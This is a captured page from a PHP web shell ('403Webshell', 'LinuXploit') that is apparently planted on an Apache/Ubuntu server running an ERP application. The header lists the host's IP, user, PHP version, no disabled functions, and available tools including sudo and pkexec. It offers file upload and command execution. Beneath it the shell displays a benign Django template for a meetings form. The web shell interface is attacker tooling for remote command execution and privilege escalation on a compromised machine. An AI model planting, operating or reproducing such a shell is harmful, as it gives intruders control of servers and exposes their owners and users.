403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/pms/templates/meetings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/pms/templates/meetings/form.html
{% load i18n %}
{% if messages %}
    <span hx-get="/pms/filter-meeting" hx-target="#meeting_list" hx-trigger="load"
        hx-on-htmx-after-request="setTimeout(() => { reloadMessage();$(this).closest('.oh-modal--show').removeClass('oh-modal--show');},100);">
    </span>
{% endif %}
<div class="oh-modal__dialog-header">
    <span class="oh-modal__dialog-title" id="objectCreateModalLabel">{% trans "Meetings" %}</span>
    <button class="oh-modal__close--custom" onclick="$(this).closest('.oh-modal--show').removeClass('oh-modal--show');" aria-label="Close">
        <ion-icon name="close-outline"></ion-icon>
    </button>
</div>
<div class="oh-modal__dialog-body" id="formBody">
    <form hx-post="{% url 'create-meeting' %}?instance_id={{form.instance.id}}" hx-target="#objectCreateModalTarget" hx->
        {{form.as_p}}
    </form>
</div>

<script>
    $(document).ready(function () {
        $("#id_employee_id").closest(".col-md-6").removeClass("col-md-6")
        $("#id_employee_id").on("change", function () {
            var employees = $(this).find("option:selected");
            values = $("#id_answer_employees").val();
            $("#id_answer_employees").empty();
            employees.each(function () {
                var value = $(this).val();
                var text = $(this).text();
                var option = `<option value="${value}"> ${text}</option>`;
                $("#id_answer_employees").append(option);
            });
            $("#id_answer_employees").val(values).change();
        });
    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit